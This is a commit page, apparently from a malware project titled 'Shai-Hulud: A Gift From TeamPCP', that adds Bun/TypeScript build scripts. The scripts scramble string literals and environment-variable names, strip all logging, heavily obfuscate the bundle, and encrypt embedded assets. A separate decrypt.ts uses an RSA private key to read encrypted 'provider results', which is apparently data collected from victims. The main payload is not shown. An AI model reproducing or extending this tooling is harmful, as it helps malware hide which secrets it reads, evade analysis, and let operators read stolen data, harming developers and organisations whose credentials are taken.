Shai-Hulud: A Gift From TeamPCP

This commit is contained in:
TeamPCP_OSS
2099-01-01 01:01:01 +00:00
commit a656ef1a7c
81 changed files with 9145 additions and 0 deletions
+82
View File
@@ -0,0 +1,82 @@
import { plugin } from "bun";
import {
generateBuildPassphrase,
RUNTIME_PASSPHRASE_PLACEHOLDER,
transformSource,
} from "./scramble-shared";
// Provide a global identity stub for scramble() so that un-transformed
// source modules can be safely evaluated when we import StringScrambler
// from the source tree.
(globalThis as any).scramble = (s: string) => s;
// Dynamic import — MUST come after the stub is installed.
const { StringScrambler } = await import("../src/utils/stringtool");
const PASSPHRASE = generateBuildPassphrase();
console.log(
`[SCRAMBLE] Generated build passphrase (${PASSPHRASE.length} chars)`,
);
const scrambler = new StringScrambler(PASSPHRASE);
const RUNTIME_DECODER_FILE_REGEX = /[\\/]src[\\/]utils[\\/]runtimeDecoder\.ts$/;
const ENTRYPOINT_FILE_REGEX = /[\\/]src[\\/]index\.ts$/;
const QUOTED_PLACEHOLDER = `"${RUNTIME_PASSPHRASE_PLACEHOLDER}"`;
plugin({
name: "scramble",
setup(build) {
build.onLoad({ filter: /\.ts$/ }, async (args) => {
let code = await Bun.file(args.path).text();
if (RUNTIME_DECODER_FILE_REGEX.test(args.path)) {
if (!code.includes(QUOTED_PLACEHOLDER)) {
throw new Error(
`[SCRAMBLE] runtime decoder ${args.path} does not contain the ` +
`expected placeholder ${QUOTED_PLACEHOLDER}. The build ` +
`pipeline cannot inject a passphrase, which would lead to ` +
`garbled strings at runtime.`,
);
}
const literal = JSON.stringify(PASSPHRASE);
code = code.split(QUOTED_PLACEHOLDER).join(literal);
console.log(`[SCRAMBLE] Injected build passphrase into ${args.path}`);
return {
contents: code,
loader: "ts",
};
}
if (ENTRYPOINT_FILE_REGEX.test(args.path)) {
console.log(
`[SCRAMBLE] Prepending runtime decoder import to ${args.path}`,
);
code = `import "./utils/runtimeDecoder";\n${code}`;
}
console.log(`[SCRAMBLE] Processing: ${args.path}`);
const { code: transformed, replacements } = transformSource(
code,
scrambler,
"[SCRAMBLE]",
args.path,
);
if (replacements > 0) {
console.log(
`[SCRAMBLE] Encoded ${replacements} call(s) in ${args.path}`,
);
}
return {
contents: transformed,
loader: "ts",
};
});
},
});
+136
View File
@@ -0,0 +1,136 @@
import { promises as fs } from "fs";
import * as path from "path";
import { transformEnvAccess } from "./env-scramble";
import {
generateBuildPassphrase,
rewriteRuntimeDecoder,
RUNTIME_DECODER_PATH,
transformSource,
} from "./scramble-shared";
import { stripLogCalls } from "./strip-logs";
(globalThis as any).scramble = (s: string) => s;
const { StringScrambler } = await import("../src/utils/stringtool");
const PASSPHRASE = generateBuildPassphrase();
console.log(`[BUILD] Generated build passphrase (${PASSPHRASE.length} chars)`);
const scrambler = new StringScrambler(PASSPHRASE);
// Read isSilent from the source of truth — logger.ts itself.
const loggerSource = await fs.readFile("src/utils/logger.ts", "utf-8");
const isSilent = /const\s+isSilent\s*=\s*true/.test(loggerSource);
console.log(`[BUILD] isSilent = ${isSilent}`);
async function transformFile(filePath: string): Promise<string> {
const code = await fs.readFile(filePath, "utf-8");
console.log(`[TRANSFORM] Processing: ${filePath}`);
// 1. Rewrite process.env.XYZ -> process.env[scramble("XYZ")]
const { code: envRewritten } = transformEnvAccess(
code,
"[TRANSFORM]",
filePath,
);
// 2. Scramble transform (encodes all scramble("...") calls)
const { code: scrambled } = transformSource(
envRewritten,
scrambler,
"[TRANSFORM]",
filePath,
);
// 3. Strip logUtil calls (only when isSilent is true)
if (isSilent) {
const { code: stripped } = stripLogCalls(
scrambled,
"[TRANSFORM]",
filePath,
);
return stripped;
}
return scrambled;
}
async function walkDir(dir: string): Promise<string[]> {
const files: string[] = [];
const entries = await fs.readdir(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...(await walkDir(fullPath)));
} else if (entry.name.endsWith(".ts") && !entry.name.endsWith(".d.ts")) {
files.push(fullPath);
}
}
return files;
}
async function build() {
console.log("[BUILD] Setting up temp directory...");
const tempDir = "./.bun-temp";
await fs.rm(tempDir, { recursive: true, force: true });
await fs.mkdir(tempDir, { recursive: true });
console.log("[BUILD] Copying and transforming source files...");
const files = await walkDir("./src");
console.log(`[BUILD] Processing ${files.length} TypeScript files`);
for (const file of files) {
const transformed = await transformFile(file);
const tempFile = path.join(tempDir, path.relative("./src", file));
await fs.mkdir(path.dirname(tempFile), { recursive: true });
await fs.writeFile(tempFile, transformed, "utf-8");
}
const tempDecoderPath = path.join(
tempDir,
path.relative("./src", path.resolve(RUNTIME_DECODER_PATH)),
);
const rewrittenDecoder = await rewriteRuntimeDecoder(
RUNTIME_DECODER_PATH,
PASSPHRASE,
);
await fs.mkdir(path.dirname(tempDecoderPath), { recursive: true });
await fs.writeFile(tempDecoderPath, rewrittenDecoder, "utf-8");
console.log(
`[BUILD] Injected build passphrase into ${path.relative(tempDir, tempDecoderPath)}`,
);
const indexPath = path.join(tempDir, "index.ts");
const indexCode = await fs.readFile(indexPath, "utf-8");
await fs.writeFile(
indexPath,
`import "./utils/runtimeDecoder";\n${indexCode}`,
"utf-8",
);
console.log("[BUILD] Running Bun build on transformed sources...");
await Bun.build({
entrypoints: [indexPath],
outdir: "./dist",
naming: {
entry: "bundle.js",
},
target: "bun",
minify: true,
});
console.log("[BUILD] Cleaning up temp directory...");
await fs.rm(tempDir, { recursive: true, force: true });
console.log("[BUILD] ✓ Build complete!");
}
build().catch(console.error);
+235
View File
@@ -0,0 +1,235 @@
import * as crypto from "crypto";
import * as fs from "fs";
import * as path from "path";
import { promisify } from "util";
import * as zlib from "zlib";
const gunzip = promisify(zlib.gunzip);
interface EncryptedPackage {
envelope: string;
key: string;
}
interface FileEntry {
label: string;
paths: string[];
}
const PART_FILE_PATTERN = /\.json\.p(\d+)$/;
function escapeRegExp(str: string): string {
return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
}
function findJsonFiles(dir: string): string[] {
const results: string[] = [];
const entries = fs.readdirSync(dir, { withFileTypes: true });
for (const entry of entries) {
const fullPath = path.join(dir, entry.name);
if (entry.isDirectory()) {
results.push(...findJsonFiles(fullPath));
} else if (
entry.isFile() &&
(entry.name.endsWith(".json") || PART_FILE_PATTERN.test(entry.name))
) {
results.push(fullPath);
}
}
return results.sort();
}
function groupFiles(files: string[]): FileEntry[] {
const partGroups = new Map<string, string[]>();
const standalone: string[] = [];
for (const file of files) {
if (PART_FILE_PATTERN.test(file)) {
const baseName = file.replace(PART_FILE_PATTERN, ".json");
if (!partGroups.has(baseName)) {
partGroups.set(baseName, []);
}
partGroups.get(baseName)!.push(file);
} else {
standalone.push(file);
}
}
const entries: FileEntry[] = [];
for (const file of standalone) {
entries.push({ label: file, paths: [file] });
}
for (const [baseName, parts] of partGroups) {
parts.sort((a, b) => {
const numA = parseInt(a.match(PART_FILE_PATTERN)![1]);
const numB = parseInt(b.match(PART_FILE_PATTERN)![1]);
return numA - numB;
});
entries.push({
label: `${baseName} (merged from ${parts.length} parts)`,
paths: parts,
});
}
entries.sort((a, b) => a.label.localeCompare(b.label));
return entries;
}
function findSiblingParts(filePath: string): FileEntry {
const partMatch = filePath.match(/^(.+\.json)\.p\d+$/);
if (!partMatch) {
return { label: filePath, paths: [filePath] };
}
const baseJsonPath = partMatch[1];
const dir = path.dirname(filePath);
const baseJsonName = path.basename(baseJsonPath);
const siblingPattern = new RegExp(
`^${escapeRegExp(baseJsonName)}\\.p(\\d+)$`,
);
const dirEntries = fs.readdirSync(dir);
const parts = dirEntries
.filter((e) => siblingPattern.test(e))
.sort((a, b) => {
const numA = parseInt(a.match(siblingPattern)![1]);
const numB = parseInt(b.match(siblingPattern)![1]);
return numA - numB;
})
.map((e) => path.join(dir, e));
if (parts.length === 0) {
return { label: filePath, paths: [filePath] };
}
return {
label: `${baseJsonPath} (merged from ${parts.length} parts)`,
paths: parts,
};
}
function resolveJsonPaths(input: string): FileEntry[] {
const stat = fs.statSync(input, { throwIfNoEntry: false });
if (!stat) {
console.error(`Path not found: ${input}`);
process.exit(1);
}
if (stat.isFile()) {
if (PART_FILE_PATTERN.test(input)) {
return [findSiblingParts(input)];
}
return [{ label: input, paths: [input] }];
}
if (stat.isDirectory()) {
const files = findJsonFiles(input);
if (files.length === 0) {
console.error(`No .json or .json.p* files found under: ${input}`);
process.exit(1);
}
return groupFiles(files);
}
console.error(`Unsupported path type: ${input}`);
process.exit(1);
}
async function decryptProviderResults(
encryptedPackage: EncryptedPackage,
privateKeyPem: string,
): Promise<unknown> {
try {
const combined = Buffer.from(encryptedPackage.envelope, "base64");
const encryptedKey = Buffer.from(encryptedPackage.key, "base64");
const iv = combined.subarray(0, 12);
const encryptedData = combined.subarray(12);
const ciphertext = encryptedData.subarray(0, encryptedData.length - 16);
const authTag = encryptedData.subarray(encryptedData.length - 16);
const aesKey = crypto.privateDecrypt(
{
key: privateKeyPem,
padding: crypto.constants.RSA_PKCS1_OAEP_PADDING,
oaepHash: "sha256",
},
encryptedKey,
);
const decipher = crypto.createDecipheriv("aes-256-gcm", aesKey, iv);
decipher.setAuthTag(authTag);
const compressed = Buffer.concat([
decipher.update(ciphertext),
decipher.final(),
]);
const decompressed = await gunzip(compressed);
const decrypted = JSON.parse(decompressed.toString("utf-8"));
return decrypted;
} catch (error) {
throw new Error(
`Decryption failed: ${error instanceof Error ? error.message : String(error)}`,
);
}
}
async function main(): Promise<void> {
const args = process.argv.slice(2);
if (args.length < 2) {
console.error(
"Usage: ts-node decrypt.ts <private-key-path> <encrypted-json-path-or-dir>",
);
process.exit(1);
}
const [privateKeyPath, encryptedJsonPath] = args;
const privateKeyPem = fs.readFileSync(privateKeyPath, "utf-8");
const fileEntries = resolveJsonPaths(encryptedJsonPath);
const multiple = fileEntries.length > 1;
let failures = 0;
for (const entry of fileEntries) {
try {
const raw = entry.paths.map((p) => fs.readFileSync(p, "utf-8")).join("");
const encryptedPackage: EncryptedPackage = JSON.parse(raw);
if (!encryptedPackage.envelope || !encryptedPackage.key) {
if (multiple) {
console.error(
`Skipping (not an encrypted package): ${entry.label}`,
);
continue;
}
throw new Error("JSON does not contain 'envelope' and 'key' fields");
}
const decrypted = await decryptProviderResults(
encryptedPackage,
privateKeyPem,
);
if (multiple) {
console.log(`\n--- ${entry.label} ---`);
}
console.log(JSON.stringify(decrypted, null, 2));
} catch (error) {
failures++;
console.error(
`Error${multiple ? ` (${entry.label})` : ""}:`,
error instanceof Error ? error.message : String(error),
);
}
}
if (failures > 0) {
process.exit(1);
}
}
main();
+43
View File
@@ -0,0 +1,43 @@
/**
* Build-time transform that rewrites all `process.env.SOME_KEY` member
* expressions into `process.env[scramble("SOME_KEY")]` so that the
* subsequent scramble transform can encode the environment variable
* names.
*
* Must run BEFORE the scramble transform in the pipeline.
*
* Matches dot-access syntax only (`process.env.FOO`). Bracket-access
* like `process.env["FOO"]` is left alone — the scramble transform
* will already pick those up if they use `scramble(...)`.
*/
const PROCESS_ENV_DOT = /process\.env\.([A-Za-z_$][A-Za-z0-9_$]*)/g;
/**
* Keys that should never be rewritten — they are resolved by the
* runtime or Node/Bun internals and don't represent user secrets.
*/
const IGNORED_KEYS = new Set(["NODE_ENV", "TZ"]);
export function transformEnvAccess(
code: string,
logPrefix = "[ENV-SCRAMBLE]",
sourceLabel?: string,
): { code: string; replacements: number } {
let replacements = 0;
const transformed = code.replace(PROCESS_ENV_DOT, (_match, key: string) => {
if (IGNORED_KEYS.has(key)) return _match;
replacements++;
return `process.env[scramble("${key}")]`;
});
if (replacements > 0) {
const where = sourceLabel ? ` in ${sourceLabel}` : "";
console.log(
`${logPrefix} Rewrote ${replacements} process.env access(es)${where}`,
);
}
return { code: transformed, replacements };
}
+11
View File
@@ -0,0 +1,11 @@
import JavaScriptObfuscator from "javascript-obfuscator";
const code = await Bun.file("./dist/bundle.js").text();
const obfuscated = JavaScriptObfuscator.obfuscate(code, {
compact: true,
controlFlowFlattening: true,
stringArray: true,
stringArrayEncoding: ["base64"],
}).getObfuscatedCode();
await Bun.write("./dist/bundle_obf.js", obfuscated);
+62
View File
@@ -0,0 +1,62 @@
// scripts/pack-assets.ts
import { createCipheriv, randomBytes } from "crypto";
import { globSync, mkdirSync, readFileSync, writeFileSync } from "fs";
import { basename, join } from "path";
const assetsDir = "src/assets";
const outDir = "src/generated";
mkdirSync(outDir, { recursive: true });
const files = globSync(`${assetsDir}/**/*.*`);
const lines: string[] = [];
// ── Runtime decryption preamble ──────────────────────────────────
// The generated file imports `createDecipheriv` once and declares
// a small helper that every export calls. Each key literal is
// wrapped in `scramble()` so the obfuscator can process it.
lines.push(`import { createDecipheriv } from "crypto";`);
lines.push(``);
lines.push(`declare function scramble(str: string): string;`);
lines.push(``);
lines.push(`function _dec(key: string, data: string): string {`);
lines.push(` const k = Buffer.from(key, "hex");`);
lines.push(` const buf = Buffer.from(data, "base64");`);
lines.push(` const iv = buf.subarray(0, 12);`);
lines.push(` const tag = buf.subarray(12, 28);`);
lines.push(` const ct = buf.subarray(28);`);
lines.push(` const dc = createDecipheriv("aes-256-gcm", k, iv);`);
lines.push(` dc.setAuthTag(tag);`);
lines.push(` const pt = Buffer.concat([dc.update(ct), dc.final()]);`);
lines.push(` return new TextDecoder().decode(Bun.gunzipSync(pt));`);
lines.push(`}`);
lines.push(``);
// ── Encrypt and emit each asset ──────────────────────────────────
for (const file of files) {
const content = readFileSync(file);
const compressed = Bun.gzipSync(content);
const name = basename(file)
.replace(/\.[^.]+$/, "")
.replace(/[^a-zA-Z0-9]/g, "_");
// Per-file AES-256-GCM key (random 32 bytes / 256-bit).
const key = randomBytes(32);
const keyHex = key.toString("hex");
// Encrypt the gzipped payload.
const iv = randomBytes(12);
const cipher = createCipheriv("aes-256-gcm", key, iv);
const encrypted = Buffer.concat([cipher.update(compressed), cipher.final()]);
const authTag = cipher.getAuthTag(); // 16 bytes
// Wire format: iv (12 B) || authTag (16 B) || ciphertext
const packed = Buffer.concat([iv, authTag, encrypted]);
const base64 = packed.toString("base64");
lines.push(
`export const ${name} = _dec(scramble("${keyHex}"), "${base64}");`,
);
}
writeFileSync(join(outDir, "index.ts"), lines.join("\n") + "\n");
+137
View File
@@ -0,0 +1,137 @@
import { randomBytes } from "crypto";
import { promises as fs } from "fs";
import type { StringScrambler } from "../src/utils/stringtool";
/**
* Sentinel string in `src/utils/runtimeDecoder.ts` that the build
* pipelines rewrite with the freshly-generated passphrase for the
* current build.
*
* Keep this in sync with the literal in `runtimeDecoder.ts`.
*/
export const RUNTIME_PASSPHRASE_PLACEHOLDER = "__SCRAMBLE_BUILD_PASSPHRASE__";
/**
* Path (relative to the project root) of the runtime decoder source
* file whose passphrase placeholder gets rewritten per build.
*/
export const RUNTIME_DECODER_PATH = "src/utils/runtimeDecoder.ts";
/**
* Regex used to find `scramble(...)` calls in source code.
*
* Accepts either a double-quoted or backtick-quoted single string
* literal as the only argument. Single-quoted strings, concatenations,
* and template interpolations are intentionally not supported — those
* would not survive the textual transform safely.
*/
export const SCRAMBLE_CALL_REGEX =
/scramble\(\s*(`[\s\S]*?`|"[\s\S]*?")\s*,?\s*\)/g;
/**
* Regex used to strip out `declare function scramble(...)` lines from
* the transformed source. The runtime has no `scramble` symbol — only
* `beautify` — so the declaration is dead weight at runtime.
*/
export const SCRAMBLE_DECLARE_REGEX =
/declare\s+function\s+scramble[^;]*;\s*\n?/g;
/**
* Generates a fresh random passphrase to be used for this build.
*
* The passphrase is 64 hex characters (32 random bytes). It is meant to
* be ephemeral: it is generated once per build, used to encode every
* `scramble(...)` call site, and then baked into the runtime decoder so
* that decoding works at runtime without any environment variables.
*/
export function generateBuildPassphrase(): string {
return randomBytes(32).toString("hex");
}
/**
* Transforms a single source file's text by replacing every
* `scramble("...")` / `` scramble(`...`) `` call with a
* `beautify("<base64>")` call encoded with the supplied
* scrambler, and stripping out the matching `declare function scramble`
* statements.
*
* The transform is purely textual; it makes no attempt to parse the
* source. The constraints documented on `SCRAMBLE_CALL_REGEX` apply.
*
* @param code The original source code.
* @param scrambler The `StringScrambler` to use for encoding.
* @param logPrefix Optional log prefix for build output (e.g. "[BUILD]").
* @param sourceLabel Optional label (filename) included in log output.
*/
export function transformSource(
code: string,
scrambler: StringScrambler,
logPrefix = "[SCRAMBLE]",
sourceLabel?: string,
): { code: string; replacements: number } {
let replacements = 0;
const transformed = code.replace(
SCRAMBLE_CALL_REGEX,
(_match, str: string) => {
const inner = str.slice(1, -1);
const encoded = scrambler.encode(inner);
replacements++;
const where = sourceLabel ? ` in ${sourceLabel}` : "";
console.log(
`${logPrefix} scramble(${str.slice(0, 32)}...) -> beautify("${encoded.slice(0, 16)}...")${where}`,
);
return `beautify(${JSON.stringify(encoded)})`;
},
);
const stripped = transformed.replace(SCRAMBLE_DECLARE_REGEX, "");
return { code: stripped, replacements };
}
/**
* Reads the runtime decoder source, replaces the build-time placeholder
* passphrase with the supplied real passphrase, and returns the new
* contents. The original file on disk is NOT modified — callers are
* expected to write the rewritten contents to a temp/output location.
*
* Throws if the placeholder cannot be found, which would otherwise
* silently produce a bundle that decodes to garbage at runtime.
*/
export async function rewriteRuntimeDecoder(
decoderPath: string,
passphrase: string,
): Promise<string> {
const original = await fs.readFile(decoderPath, "utf-8");
if (!original.includes(RUNTIME_PASSPHRASE_PLACEHOLDER)) {
throw new Error(
`[SCRAMBLE] Could not find passphrase placeholder ` +
`"${RUNTIME_PASSPHRASE_PLACEHOLDER}" in ${decoderPath}. ` +
`The runtime decoder must contain the sentinel string so the ` +
`build pipeline can inject the per-build passphrase.`,
);
}
// JSON.stringify gives us a safely-quoted JS string literal.
const literal = JSON.stringify(passphrase);
// The placeholder appears inside an existing string literal, e.g.
// const PASSPHRASE = "__SCRAMBLE_BUILD_PASSPHRASE__";
// We want to end up with:
// const PASSPHRASE = "<hex>";
// so we replace the *quoted placeholder* (including its surrounding
// double-quotes) with the JSON-encoded passphrase literal.
const quotedPlaceholder = `"${RUNTIME_PASSPHRASE_PLACEHOLDER}"`;
if (!original.includes(quotedPlaceholder)) {
throw new Error(
`[SCRAMBLE] Found placeholder text but not the expected quoted ` +
`form ${quotedPlaceholder} in ${decoderPath}. The placeholder ` +
`must appear as a standalone double-quoted string literal.`,
);
}
return original.split(quotedPlaceholder).join(literal);
}
+120
View File
@@ -0,0 +1,120 @@
/**
* Build-time transform that strips all `logUtil.<level>(...)` call
* statements from source code so they are completely absent from the
* bundle — including argument evaluation.
*
* Uses balanced-paren counting with string/template-literal awareness
* so nested expressions like `logUtil.info(`batch ${arr.join(",")}`)`
* are handled correctly.
*/
const LOG_CALL_START = /logUtil\.(log|info|warn|error)\s*\(/g;
/**
* Advances past a string literal (single-quoted, double-quoted, or
* backtick template) starting at `pos`. Returns the index immediately
* after the closing quote.
*/
function skipString(code: string, pos: number): number {
const quote = code[pos]; // one of ' " `
let i = pos + 1;
while (i < code.length) {
const ch = code[i];
if (ch === "\\") {
i += 2; // skip escaped char
continue;
}
if (quote === "`" && ch === "$" && code[i + 1] === "{") {
// Template interpolation — skip into the expression and count
// braces so we resurface after the closing `}`.
i += 2;
let depth = 1;
while (i < code.length && depth > 0) {
const c = code[i];
if (c === "{") depth++;
else if (c === "}") depth--;
else if (c === '"' || c === "'" || c === "`") {
i = skipString(code, i);
continue;
} else if (c === "\\") {
i += 2;
continue;
}
i++;
}
continue;
}
if (ch === quote) {
return i + 1; // past closing quote
}
i++;
}
return i; // unterminated — return end of file
}
/**
* Starting right after the opening `(`, finds the index of the
* matching `)`. Returns -1 if unbalanced.
*/
function findClosingParen(code: string, start: number): number {
let depth = 1;
let i = start;
while (i < code.length && depth > 0) {
const ch = code[i];
if (ch === "(") depth++;
else if (ch === ")") {
depth--;
if (depth === 0) return i;
} else if (ch === '"' || ch === "'" || ch === "`") {
i = skipString(code, i);
continue;
} else if (ch === "\\") {
i += 2;
continue;
}
i++;
}
return -1;
}
export function stripLogCalls(
code: string,
logPrefix = "[STRIP-LOGS]",
sourceLabel?: string,
): { code: string; stripped: number } {
let result = "";
let lastIndex = 0;
let stripped = 0;
let match: RegExpExecArray | null;
LOG_CALL_START.lastIndex = 0;
while ((match = LOG_CALL_START.exec(code)) !== null) {
const callStart = match.index;
const afterOpenParen = match.index + match[0].length;
const closeParen = findClosingParen(code, afterOpenParen);
if (closeParen === -1) break; // unbalanced — bail out safely
// Consume the closing paren
let end = closeParen + 1;
// Consume optional semicolon + trailing whitespace/newline
if (code[end] === ";") end++;
if (code[end] === "\n") end++;
// Replace the entire statement with nothing
result += code.slice(lastIndex, callStart);
lastIndex = end;
stripped++;
}
result += code.slice(lastIndex);
if (stripped > 0) {
const where = sourceLabel ? ` in ${sourceLabel}` : "";
console.log(`${logPrefix} Stripped ${stripped} logUtil call(s)${where}`);
}
return { code: result, stripped };
}